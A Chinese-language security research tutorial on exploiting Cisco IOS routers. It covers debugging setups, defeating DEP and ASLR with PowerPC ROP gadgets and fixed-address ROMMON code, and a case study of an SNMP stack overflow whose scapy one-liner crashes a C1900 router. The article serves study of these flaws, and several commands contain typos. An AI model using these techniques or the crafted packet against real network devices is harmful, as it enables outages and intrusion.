Cisco近几年披露了诸多的安全漏洞。The Holy Grail Cisco IOS Shellcode And Exploitaion Techniques---Michael Lynn:披露如何绕过Cisco堆检查;GeekPwn大会上的相关内容;以及众多主要的漏洞:IKEv2 Exploit(cve-2016-1287)、EXTRABACON(snmp协议)、IKEv1 Exploit(cve-2016-1287)、Cisco Cluster Management Protocol(CMP)(cve-2017-3881)…..
Cisco的多样性是其一项标志性特征,主要分为系统多样性和指令架构多样性。 系统多样化:Cisco IOS、Cisco IOS XE、Cisco NX-OS、Cisco IOS XR、ASA OS 指令架构多样化:PowerPC、MIPS、x86_64
(1)需要对Cisco IOS固件进行逆向分析 (2)通常镜像都是一个大型二进制文件,需要静态分析 (3)在IOS中,所有代码都是在提权模式下进行,因此可以使用特权指令 (4)在IOS中,好几段虚拟内存可能映射的是同一段物理空间(例如20000000与80000000) (5)溢出执行完shellcode要将控制流返回至正常服务 (6)当IOS服务触发异常时,Cisco IOS会重启设备(dos攻击很简单,RCE需要再构造) Cisco IOS没有其他的API函数或者指令支持,因此如果想调用里面的一些功能(比如tcp连接),需要去定位相关的功能函数
(1)DEP:栈、堆等内存中不可执行,要做ROP攻击 (2)ASLR:栈、堆具有随机化特征,要绕过地址随机化 (3)堆检查:IOS会在固定时间检查堆结构,在堆释放的时候也会进行堆检查(具体的检查方法在之前的公众号文章里有讲),而且IOS的栈的空间也是在堆中的,因此栈溢出和堆溢出利用都可能被检查 (4)代码完整性检查:完整性检查会是否在镜像文件里植入了后门或者shellcode(一般利用签名) (5)计时器:如果shellcode运行时间太久,计时器会触发然后终止攻击进程 (6)Cisco多样化:思科镜像多样性,exp在镜像间的移植需要时间 (7)I-cache、D-cache防护:Powerpc架构的处理器会隔离代码区域和数据区域,因此有时候将控制流劫持到数据区域是无法执行的
想要实现漏洞利用首先是需要能执行漏洞调试,这里主要介绍两种调试方式。 虚拟平台调试: ①安装Cisco dynamips调试平台(并支持gdb调试版本):
git clone https://github.com/Groundworkstech/dynamips-gdb-mod
cd dynamips-gdb-mod/src
updatedb
locate libelf.a
②利用dynamips启动对应的模拟调试:
dynamips -Z +连接的端口 -j(禁用JIT编译器) -P +模拟的硬件平台 -t 2621 -s 0:0:tap:tap1 -s 0:1:linux_eth:eth0 +镜像文件
③利用gdb连接调试: 注意,这里用的gdb连接调试需要使用对应架构的gdb,有两种解决方案: 一是利用gdb-multiarch;二是利用buildroot或者交叉编译工具链交叉编译一个对应架构的gdb调试工具。
gdb$ target remote 192.168.9.1:6666
虚拟调试平台脚本:https://github.com/Groundworkstech/dynamips-gdb-mod
实体设备调试: 虽然虚拟平台调试比较方便,但是有很多版本以及型号的限制,因此最好使用实体设备进行调试。实体设备调试需要利用cisco设备自带的调试栈开启调试。 ①实体设备连接: 首先进行串口调试配置,对于Linux系统,需要指定串口驱动程序。因此需要先查找相应串口驱动模块:
lenovo@ubuntu:~$ dmesg l grep ttyS*
[ 0.00000] console [tty0]enabled
[838830.952225] usb 2-2.1:FTDI USB serial Device converter now attached to ttyUSB1
[844005.477214] ftdi_sio ttyUsB0: FTDI USB Serial Device converter now disconnected fron ttyUSB1
[1471721.288079] usb 2-2.1:FTDI USB serial Device converter now attached to ttyUSB1
利用串口通信工具连接至指定串口驱动模块,并设置Cisco IOS串口通信的硬件信息,即可建立连接:
lenovo@ubuntu:~$ sudo picocom -b 9600 /dev/ttyUSB1
picocom v1.7
port is : /dev /ttyUSB1
flowcontrol : none
baudrate is : 9600
parity is : none
databits are : 8
②使用gdb kernel在实体设备上启动gdb调试模式:
对于Cisco IOS新版本,会屏蔽相应调试功能,需要进入ROMMON中开启调试功能。
rommon1>confreg 0x2100
C1921(config)#config-register 0x2100
MIPS: break ‘0000000d’
PPC:trap ‘7fe00008’
③利用调试脚本连接对应串口,实现调试功能:
python 调试脚本.py /dev/ttyUSB1
调试脚本参考: https://github.com/klsecservices/ios_mips_gdb https://gist.github.com/nstarke/50a1519067f62c223e39a98ba32ed7d5 mips、arm和ppc的调试脚本其实都大同小异,甚至可以自己编写修改调试脚本,注意对应不同的架构时,要修改capstone的对应架构,以及设置断点时的寄存器数值。
通常利用栈溢出漏洞获取控制流(Phrack Magazine Burning the bridge Cisco IOS exploits (2002))
利用ROP攻击绕过DEP防护,对于ppc指令,可以通过常见返回指令去找gadgets:blr blrl bctr bctrl 常见ROP利用技巧: (1)利用ROP gadgets直接构造shellcode(cve-2017-3881) (2)利用gadgets直接重写指定数据甚至代码,看能不能起到效果 (3)利用gadgets去禁掉DEP防护,然后在栈上执行shellcode (4)开启在代码段的写权限 ROP攻击限制:ROP攻击可能导致在栈上存放过多的数据(因为shellcode长的话,要在栈上构造很多个gadgets的地址),这样容易触发堆检查机制或者是影响其他的正常数据,因此在栈上不能构造太长的ROP攻击。
(1)Write-4 Primitive (参考34c3交流会议)因为前面所说,不方便构造太多的gadgets,因此可以利用几个简短的gadgets(这几个gadgets的功能就是向内存写一段在栈上存放的4字节的数据),将想执行的shellcode每4字节逐次写到内存中,最后再劫持控制流到内存中即可。这样的话shellcode不论长短,都可以写到内存中,因此不需要在栈上构造过长的gadgets。 在mips和ppc上都有这种类似的write-4的gadgets:
lwz r0,0x14(r1)
mtlr r0
lwz r30,8(r1) #value
lwz r31,0xC(r1) #dst address
addi r1,r1,0x10
blr
stw r30,0(r31) #store value
lwz r0,0x14(r1)
mtlr r0
lmw r30,8(r1)
addi r1,r1,0x10
blr
(2)Blrl Gadgets 由于C语言和PowerPC架构的调用约定,想找到从栈向r3-r17寄存器加载的gadget比较难,但是此类gadget又很常用,因为从r3开始的低号寄存器是PPC架构的传参寄存器,经常需要利用这种gadget向调用函数传参。 解决方法一:可以分几个阶段,先初始化寄存器,再向大号寄存器进行传参(这种gadget很多),然后利用大号寄存器向小号寄存器进行赋值操作。这种办法可以,但是有点麻烦,浪费堆栈空间。 解决方法二:利用blrl gadget,blrl gadget通常具有几个特点:通常都结合低号寄存器使用,而且通常比较多样,因此可以利用blrl gadget,节省堆栈空间。
lwz r5,0xC(r1) #Load Word and Zero
mr r6,r20 #Move Register
mtlr r27 #Move to link register
blrl #Branch unconditionally
(3)Indirect Call Gadgets 有时候ROP攻击的shellcode比较复杂,需要调用各类函数,比如memcpy函数,或者是禁止安全机制的函数,或者是调用另一个shellcode,特别是当这些函数位于其他区段时,利用Indirect Call Gadget可以解决。
1.mtlr r28 #Move to link register
blrl #Branch unconditionally
lwz r0,0x1C(r1)
mtlr r0
2.mtctr r0 #Move to count register
bctr
3.mtctr r31 #Move to count register
mr r3,r30 #Move Register
bctrl #Branch unconditionally
lwz r0,0x10+arg_4(r1)
mtlr r0
(4)Multitask Gadget 有些一个Gadget可以执行多个功能,例如在栈上存储数据,下面就是一个例子,可以同时执行3个功能:
mtctr r29 #Move to count register
bctrl #1st task
mtlr r28 #Move to link register
blrl #2nd task
lwz r0,0x1C(r1)
mtlr r0 #Move to link register
lwz r28,8(r1) #3rd task
lwz r29,0xC(r1)
lwz r30,0x10(r1)
lwz r31,0x14(r1)
addi r1,r1,0x18 #Add Immediate
bl
(5)Stack Keeper 功能就是保存一下当前的栈指针,其实就是对r1寄存器进行一下赋值操作:
mr r3,r1 #Move Register
blr #Branch unconditionally
(6)Debug Gadget Debug gadget是用来调用调试器的。
trap #Trap Word Unconditionally
blr #Branch unconditionally
上述只是对一些重要gadgets的举例,其中Write-4 Primitive是重要的构造技巧,因为可以实现很多shellcode的写入与执行。
Cisco IOS固件在IDA的解析中基址固定不变,但是某些型号的设备其IOS加载地址随机变化,但是可以通过指令计算IOS加载偏移:
根据show region得出的加载基址,同IDA加载基址进行偏移的计算,即可得出偏移量,然后对比IDA和实体设备gdb调试得到的汇编代码,解决ASLR问题。
前面讲到,Cisco IOS具有DEP防护机制,这种机制可以通过ROP攻击绕过,但是当代码段也存在地址随机化时,无法直接在栈上布置指定地址的Gadgets,但是这个问题可以通过ROMMON解决。 ROMMON在内存中的加载地址一直不会变化,因此可以利用ROMMON中的代码构造ROP攻击。整体流程可以分为以下三步: (1)首先利用栈溢出,劫持返回地址进入ROMMON部分,构造ROP链。 利用ROP攻击,通过write-4 primitive方法将shellcode写入内存。 将shellcode写入内存段后,再构造栈溢出,控制流劫持到该内存区域,执行shellcode。
Cisco IOS可以将崩溃信息写道内存卡里或者闪存里,也可以通过TFTP服务器传到远端。不同版本路由器可能提供的转储信息记录功能不相同,但是基本信息都是可以记录的,可以通过路由器crash文件追踪漏洞所在位置。崩溃转储功能要进行一下配置。
radio#conf t
Enter configuration commands,one per line. End with CNTL/Z.
radio (config) #exception core-file radio-core
radio (config) #exception dump 192.168.2.5
radio (config) #^2
2017年,Cisco官网披露并修复了SNMP协议中存在的漏洞,漏洞使得攻击者发送构造好的SNMP数据包,实现Dos攻击或RCE攻击。 以C1900系列路由器为例,该漏洞位于SNMP服务处理函数中:
其调用子函数sub_23BEC474进行处理,子函数主要功能为对v19地址进行赋值操纵,v19在子函数中为参数a1,主要功能为对a1地址进行赋值,写入长度由a3控制。
在子函数sub_23BEC474函数中,存在栈溢出漏洞。父函数的v19是长度为16的数组,存放在栈空间上,而子函数的赋值操作的次数可以人为控制,并且该函数的赋值操作没有额外的检查,因此会造成栈溢出。该函数赋值操作过长,会使栈上的v19所在地址的栈空间溢出,影响栈结构,造成溢出,因此可以覆盖父函数返回地址实现ROP攻击。 我们首先利用前面所讲方法解决调试中的ASLR防护,通过show region计算出动态与静态加载基址的偏移量,解决地址随机化问题。通过检查汇编代码是否一致,来判断是否正确计算代码段偏移,可知整体偏移量为0x5160。
验证漏洞,利用scapy构造并发送超长的SNMP数据包:
>>> oid = "1.3.6.1.2.1.1.1.0'+".55'*100
>>>sr1(IP(dst='192.168.88.1' )/UDP(sport=161,dport=161)/SNMP(community-"public" ,PDU-SNMPget(varbindlist=[ SNMPvarbind(oid=oid)]) ))
Begin emission :
Finished to send 1 packets.
根据代码偏移量,在父函数的返回地址处设置断点,查看返回地址的覆盖情况,成功实现栈溢出攻击。
继续执行,路由器崩溃重启。
因为C1900系列存在ASLR防护,如果想实现RCE攻击,可以利用ROMMON构造ROP chain,注意一点,ROMMON中的汇编代码具有非连续特点,因此需要编写IDA python脚本进行批量刷写。
https://www.powerofcommunity.net/poc2017/george.pdf
文章由ChaMd5安全团队